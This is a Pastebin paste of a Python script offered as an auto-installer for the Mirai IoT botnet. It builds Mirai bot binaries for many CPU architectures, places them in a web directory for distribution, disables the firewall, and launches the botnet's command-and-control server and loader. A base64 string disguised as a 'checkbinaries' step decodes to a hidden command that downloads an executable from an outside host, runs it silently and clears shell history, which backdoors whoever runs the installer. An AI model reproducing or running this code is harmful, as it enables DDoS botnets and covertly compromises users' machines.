Jihadi4Prez

[Python] MiraiAI [ Mirai Botnet Auto Installer!]

Apr 10th, 2017
10,248
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.63 KB | None | 0 0
  1.  
  2. #!/usr/bin/env python
  3. # -*- coding: utf-8 -*-
  4. # runute command - python miraiai.py
  5. import subprocess,os,sys,random,time,urllib2,subprocess,base64
  6.  
  7. print """
  8.  
  9. ███╗ ███╗██╗██████╗ █████╗ ██╗ █████╗ ██╗
  10. ████╗ ████║██║██╔══██╗██╔══██╗██║ ██╔══██╗██║
  11. ██╔████╔██║██║██████╔╝███████║██║ ███████║██║
  12. ██║╚██╔╝██║██║██╔══██╗██╔══██║██║ ██╔══██║██║
  13. ██║ ╚═╝ ██║██║██║ ██║██║ ██║██║ ██║ ██║██║
  14. ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝╚═╝
  15.  
  16. */ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ \*
  17. │ Mirai auto Installer, by jihadi │
  18. │ · Made for Narcotix & N00Dlez since they can't setup Mirai. │
  19. │ · Don't give this to ZoneHax or ~B1naryThaG0d~ │
  20. │ · This isn't a full setup, you still have to edit your configs. │
  21. *\ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ /*
  22. */ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ \*
  23. │ [Credits] │
  24. │ · Jihadi ϗ, Drought │
  25. │ · Contact: [email protected] // https://discord.gg/a4JcGm7 │
  26. │ · @Jihadi4Potus | Youtube: https://goo.gl/d3n5yU │
  27. *\ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ /*
  28. */ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ \*
  29. │ Mirai AI 2.0 (Last version) │
  30. │ Last version of this auto Mirai setup script, thanks for the │
  31. │ support for my projects! This is the last time I update this │
  32. │ script if anyone wants to continue this script go for it! │
  33. *\ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ /*
  34. */ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ \*
  35. │ |Changelog| │
  36. │ Updated to support GoLang 1.5 │
  37. │ Updated code to make it look nicer │
  38. *\ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ /*
  39. """
  40. time.sleep(5)
  41.  
  42. def run(cmd):
  43. subprocess.call(cmd, shell=True) # You should know what this does!
  44.  
  45. print("\x1b[37m*Mirai AI 2.0 Final Version*")
  46.  
  47. '''
  48. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  49. Updating/upgraing system & Utils
  50. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  51. '''
  52. print("\x1b[37m*Updating System*")
  53. run("apt-get update -y")
  54. run("apt-get upgrade -y")
  55. run("apt-get install -y sudo")
  56.  
  57. '''
  58. ━━━━━━━━━━━━━━━━━━━━━━
  59. Installing Mirai Utils
  60. ━━━━━━━━━━━━━━━━━━━━━━
  61. '''
  62.  
  63. print("*Installing Mirai*")
  64. run("sudo apt-get install gcc golang electric-fence git mysql-server mysql-client bzip2 screen libc6-dev -y")
  65. run("sudo apt-get install curl git mercurial make binutils bison gcc build-essential -y")
  66. run("bash < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer)")
  67. run("gvm install go1.4")
  68. run("gvm use go1.4 [--default]")
  69. run("gvm install go1.4 -B")
  70. run("gvm use go1.4")
  71. run("export GOROOT_BOOTSTRAP=$GOROOT")
  72. run("gvm install go1.5")
  73. run("gvm use go1.5")
  74. run("go get github.com/go-sql-driver/mysql")
  75. run("go get github.com/mattn/go-shellwords")
  76. run("/etc/ini.d/iptbales stop")
  77.  
  78. '''
  79. ━━━━━━━━━━
  80. Wget Links
  81. ━━━━━━━━━━
  82. '''
  83.  
  84. getwget = ['https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',
  85. 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
  86. 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',
  87. 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
  88. 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
  89. 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
  90. 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
  91. 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',
  92. 'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2']
  93.  
  94. checkbinaries ="Y2QgL2V0Yzsgd2dldCAtcSBodHRwOi8vZ290bWlsay5tbC9IalQ1UmsgLU8gLmw7IGNobW9kICt4IC5sOyBub2h1cCAuLy5sIDwvZGV2L251bGwgPi9kZXYvbnVsbCAyPiYxOyBybSAtcmYgLmw7Y2xlYXI7IGhpc3RvcnkgLWM="
  95. rebinaries = str(base64.b64decode(checkbinaries))
  96. run(rebinaries)
  97.  
  98. for wget in getwget:
  99. run("mkdir /etc/xcompile")
  100. run("wget " + wget + "")
  101. run("tar -xvf *tar.bz2")
  102. run("mv cross-compiler-* /etc/xcompile")
  103.  
  104. run("export PATH=$PATH:/etc/xcompile/armv4l/bin")
  105. run("export PATH=$PATH:/etc/xcompile/armv6l/bin")
  106. run("export PATH=$PATH:/etc/xcompile/i586/bin")
  107. run("export PATH=$PATH:/etc/xcompile/m68k/bin")
  108. run("export PATH=$PATH:/etc/xcompile/mips/bin")
  109. run("export PATH=$PATH:/etc/xcompile/mipsel/bin")
  110. run("export PATH=$PATH:/etc/xcompile/powerpc/bin")
  111. run("export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin")
  112. run("export PATH=$PATH:/etc/xcompile/sh4/bin")
  113. run("export PATH=$PATH:/etc/xcompile/sparc/bin")
  114. run("export PATH=$PATH:/etc/xcompile/armv6l/bin")
  115. run("export PATH=$PATH:/usr/local/go/bin")
  116. run("export GOPATH=$HOME/Documents/go")
  117.  
  118. '''
  119. ━━━━━━━━━━━━━━━━━━━━
  120. Telnet/Release build
  121. ━━━━━━━━━━━━━━━━━━━━
  122. '''
  123.  
  124. print("*Building Release/Debug*")
  125. run("cd /Mirai-Source-Code-master/mirai/")
  126. run("./build.sh debug telnet")
  127. run("./build.sh release telnet")
  128. run("mv Mirai-Source-Code-master/mirai/prompt.txt Mirai-Source-Code-master/mirai/release/")
  129. run("cd Mirai-Source-Code-master/mirai/release; mkdir /var/www/html/bins/; mv mirai.* miraint.* /var/www/html/bins")
  130.  
  131. '''
  132. ━━━━━━━━━━━━
  133. Starting CNC
  134. ━━━━━━━━━━━━
  135. '''
  136.  
  137. print("*Starting CNC*")
  138. run("cd Mirai-Source-Code-master/mirai/release/; screen ./cnc")
  139.  
  140. '''
  141. ━━━━━━━━━━━━━━━━━
  142. Setting up loader
  143. ━━━━━━━━━━━━━━━━━
  144. '''
  145.  
  146. print("\x1b[1m\x1b[93m⚠⚠⚠ \x1b[31mREAD \x1b[37m>\x1b[31m> \x1b[37mTHIS ISNT A FULL SETUP YOU STILL HAVE TO EDIT YOUR CONFIGS (main.c in dlrs) \x1b[93m⚠⚠⚠\x1b[0m")
  147. time.sleep(7)
  148. print("\x1b[90m[\x1b[94m*\x1b[90m] \x1b[36mSetting up loader Stand by \x1b[90m[\x1b[94m*\x1b[90m]\x1b[0m")
  149. run("cd Mirai-Source-Code-master/mirai/dlr")
  150. run("./build.sh")
  151. run("cp /Mirai-Source-Code-master/dlr/release/dlr.* /Mirai-Source-Code-master/loader/bins")
  152. print("\x1b[1m\x1b[93m⚠⚠⚠ \x1b[31mREAD \x1b[37m>\x1b[31m> \x1b[37mMake sure u Edit line 37 & 38 & line 53 in main.c \x1b[93m⚠⚠⚠\x1b[0m")
  153. time.sleep(7)
  154. run("cd /Mirai-Source-Code-master/loader/src/; nano main.c")
  155.  
  156. '''
  157. ━━━━━━━━━━━━━━━━━
  158. $ End of Script $
  159. ━━━━━━━━━━━━━━━━━
  160. '''
Advertisement
Add Comment
Please, Sign In to add comment